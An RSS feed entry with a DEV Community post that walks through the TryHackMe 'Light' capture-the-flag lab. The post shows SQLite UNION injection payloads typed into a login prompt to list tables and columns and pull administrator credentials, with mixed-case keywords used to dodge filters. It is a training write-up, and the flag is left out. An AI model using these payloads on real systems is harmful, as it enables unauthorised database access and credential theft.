<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Maiver</title>
    <description>The latest articles on DEV Community by Maiver (@maivermic_z).</description>
    <link>https://dev.to/maivermic_z</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4263473%2F9cea45e4-604e-40e3-b022-4f3a761f3aef.jpg</url>
      <title>DEV Community: Maiver</title>
      <link>https://dev.to/maivermic_z</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/maivermic_z"/>
    <language>en</language>
    <item>
      <title>tryhackme-write_up-light-</title>
      <dc:creator>Maiver</dc:creator>
      <pubDate>Wed, 25 Nov 2026 07:51:05 +0000</pubDate>
      <link>https://dev.to/maivermic_z/tryhackme-writeup-light--2o4</link>
      <guid>https://dev.to/maivermic_z/tryhackme-writeup-light--2o4</guid>
      <description>&lt;p&gt;&lt;em&gt;In this CTF, we explore a database application called "Light" reachable via a TCP socket. The main challenge is to perform an SQL Injection to retrieve the administrator's credentials and the flag.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;Connection&lt;/em&gt;&lt;/strong&gt;&lt;br&gt;
First, we establish a TCP socket connection to the target service on port 1337: nc &lt;code&gt;MACHINE_IP&lt;/code&gt;1337&lt;/p&gt;

&lt;p&gt;Once connected, we interact with the login prompt.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;Step 1: SQL Injection Discovery&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;we write smokey the example in the THM and then after we see the password , We try to see if the application is vulnerable to SQL Injection by inputting a single quote ': Please enter your username: ' UniOn SeLeCt 1 ' Password: 1&lt;/p&gt;

&lt;p&gt;This confirmed that we can execute SQL queries.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;Step 2: Database Enumeration&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;We need to find the database tables. We use sqlite_master to retrieve the database schema: Please enter your username: ' UniOn SeLeCt group_concat(name) FROM sqlite_master ' Password: usertable,admintable&lt;/p&gt;

&lt;p&gt;Explanation:&lt;/p&gt;

&lt;p&gt;. UniOn SeLeCt: We use mixed casing to bypass potential input filters.&lt;br&gt;
. group_concat(name): Aggregates the table names into one readable string.&lt;br&gt;
. FROM sqlite_master: we certainly do not know all the tables name .so we must use it to give us the names of the tables&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;Step 3: Column Discovery&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Now that we have the table name admintable, we need to know its structure (columns): Please enter your username: ' UniOn SeLeCt group_concat(name) FROM pragma_table_info('admintable') ' Password: id,username,password&lt;/p&gt;

&lt;p&gt;Explanation:&lt;/p&gt;

&lt;p&gt;. pragma_table_info('admintable'): A special SQLite function that provides metadata about the specified table.&lt;br&gt;
. ** ('admintable') mean to the os give me information about its and we add group_concat(name) to make it give us only the tables name&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;Step 4: Data Exfiltration&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Finally, we retrieve the values from the columns we discovered: Please enter your username: ' UniOn SeLeCt group_concat( enter_value_here  ) FROM admintable ' Password:" password WE NEED ",THM{ FIND_THE_FLAG_BY_YOURSELF }&lt;/p&gt;

&lt;p&gt;"Remember that SQL injection isn't just about the payload; it's about understanding how the system thinks. I hope this breakdown helps you get past any roadblocks, but don't just copy the steps—try to play with them and see what happens"&lt;/p&gt;

&lt;p&gt;good luck ! by maivermick.z&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;GitHub version:&lt;/em&gt;&lt;/strong&gt;&lt;br&gt;
&lt;a href="https://github.com/maivermickZ/tryhackme-write_up-light-" rel="noopener noreferrer"&gt;https://github.com/maivermickZ/tryhackme-write_up-light-&lt;/a&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>infosec</category>
      <category>security</category>
      <category>sql</category>
    </item>
  </channel>
</rss>
